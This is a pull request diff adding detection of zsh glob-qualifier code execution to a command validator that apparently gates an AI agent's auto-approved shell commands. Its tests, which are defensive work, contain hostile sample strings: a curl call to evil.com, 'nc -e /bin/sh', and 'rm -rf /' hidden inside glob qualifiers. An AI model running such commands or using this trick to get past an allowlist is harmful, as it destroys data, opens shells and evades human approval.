Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
49 changes: 49 additions & 0 deletions webview-ui/src/utils/__tests__/command-validation.spec.ts
Original file line number Diff line number Diff line change
Expand Up @@ -292,6 +292,27 @@ ls -la || echo "Failed"`
expect(containsDangerousSubstitution("ls =(sudo apt install malware)")).toBe(true)
})

it("detects zsh glob qualifiers with code execution (e:...:)", () => {
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Consider grouping these zsh glob qualifier tests in a dedicated describe block for better test organization, similar to how the zsh process substitution tests are grouped. This would make the test suite more maintainable and easier to navigate.

// Basic glob qualifier with command execution
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)

// Various glob patterns with code execution
expect(containsDangerousSubstitution("cat ?(e:rm -rf /:)")).toBe(true)
expect(containsDangerousSubstitution("echo +(e:sudo reboot:)")).toBe(true)
expect(containsDangerousSubstitution("rm @(e:curl evil.com:)")).toBe(true)
expect(containsDangerousSubstitution("touch !(e:nc -e /bin/sh:)")).toBe(true)

// Glob qualifiers in middle of command
expect(containsDangerousSubstitution("ls -la *(e:date:) test")).toBe(true)

// Multiple glob qualifiers
expect(containsDangerousSubstitution("cat *(e:whoami:) ?(e:pwd:)")).toBe(true)

// Glob qualifiers with complex commands
expect(containsDangerousSubstitution("ls *(e:open -a Calculator:)")).toBe(true)
expect(containsDangerousSubstitution("rm *(e:sudo apt install malware:)")).toBe(true)
})
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Consider adding more edge case tests to ensure robustness:

  • Empty command within the qualifier: *(e::)
  • Nested colons in commands: *(e:echo ":test:":)
  • Multiple spaces in commands: *(e:echo test:)

These edge cases could help ensure the regex handles unusual but valid patterns correctly.


it("does NOT flag safe parameter expansions", () => {
// Regular parameter expansions without dangerous operators
expect(containsDangerousSubstitution("echo ${var}")).toBe(false)
Expand Down Expand Up @@ -324,6 +345,12 @@ ls -la || echo "Failed"`
// Safe comparison operators
expect(containsDangerousSubstitution("if [ $a == $b ]; then")).toBe(false)
expect(containsDangerousSubstitution("test $x != $y")).toBe(false)

// Safe glob patterns without code execution qualifiers
expect(containsDangerousSubstitution("ls *")).toBe(false)
expect(containsDangerousSubstitution("rm *.txt")).toBe(false)
expect(containsDangerousSubstitution("cat ?(foo|bar)")).toBe(false)
expect(containsDangerousSubstitution("echo *(^/)")).toBe(false) // Safe glob qualifier (not e:)
})

it("handles complex combinations of dangerous patterns", () => {
Expand All @@ -349,6 +376,9 @@ ls -la || echo "Failed"`

// The new zsh process substitution exploit
expect(containsDangerousSubstitution("ls =(open -a Calculator)")).toBe(true)

// The zsh glob qualifier exploit
expect(containsDangerousSubstitution("ls *(e:whoami:)")).toBe(true)
})
})
})
Expand Down Expand Up @@ -965,6 +995,25 @@ describe("Unified Command Decision Functions", () => {
// Combined with denied commands
expect(getCommandDecision("rm =(echo test)", ["echo"], ["rm"])).toBe("auto_deny")
})

it("prevents auto-approval for zsh glob qualifier exploits", () => {
// The zsh glob qualifier exploit with code execution
const globExploit = "ls *(e:whoami:)"
// Even though 'ls' might be allowed, the dangerous pattern prevents auto-approval
expect(getCommandDecision(globExploit, ["ls", "echo"], [])).toBe("ask_user")

// Various forms should all be blocked
expect(getCommandDecision("cat ?(e:rm -rf /:)", ["cat"], [])).toBe("ask_user")
expect(getCommandDecision("echo +(e:date:)", ["echo"], [])).toBe("ask_user")
expect(getCommandDecision("touch @(e:pwd:)", ["touch"], [])).toBe("ask_user")
expect(getCommandDecision("rm !(e:ls:)", ["rm"], [])).toBe("ask_user") // rm not in allowlist, has dangerous pattern

// Combined with denied commands
expect(getCommandDecision("rm *(e:echo test:)", ["echo"], ["rm"])).toBe("auto_deny")

// Multiple glob qualifiers
expect(getCommandDecision("ls *(e:whoami:) ?(e:pwd:)", ["ls"], [])).toBe("ask_user")
})
})

it("returns auto_deny for commands with any sub-command auto-denied", () => {
Expand Down
9 changes: 8 additions & 1 deletion webview-ui/src/utils/command-validation.ts
Original file line number Diff line number Diff line change
Expand Up @@ -72,6 +72,7 @@ type ShellToken = string | { op: string } | { command: string }
* - ${!var} - Indirect variable references
* - <<<$(...) or <<<`...` - Here-strings with command substitution
* - =(...) - Zsh process substitution that executes commands
* - *(e:...:) or similar - Zsh glob qualifiers with code execution
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Would it be helpful to add a link or reference to zsh documentation about glob qualifiers? This could help developers who want to learn more about this feature and understand the security implications better.

*
* @param source - The command string to analyze
* @returns true if dangerous substitution patterns are detected, false otherwise
Expand Down Expand Up @@ -105,13 +106,19 @@ export function containsDangerousSubstitution(source: string): boolean {
// =(...) creates a temporary file containing the output of the command, but executes it
const zshProcessSubstitution = /=\([^)]+\)/.test(source)

// Check for zsh glob qualifiers with code execution (e:...:)
// Patterns like *(e:whoami:) or ?(e:rm -rf /:) execute commands during glob expansion
// This regex matches patterns like *(e:...:), ?(e:...:), +(e:...:), @(e:...:), !(e:...:)
const zshGlobQualifier = /[*?+@!]\(e:[^:]+:\)/.test(source)
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could we consider if there are other zsh glob patterns that might also support the e: qualifier? For example, what about patterns like **(e:cmd:) for recursive globs? The current regex only matches specific glob operators.


// Return true if any dangerous pattern is detected
return (
dangerousParameterExpansion ||
parameterAssignmentWithEscapes ||
indirectExpansion ||
hereStringWithSubstitution ||
zshProcessSubstitution
zshProcessSubstitution ||
zshGlobQualifier
)
}

Expand Down
Loading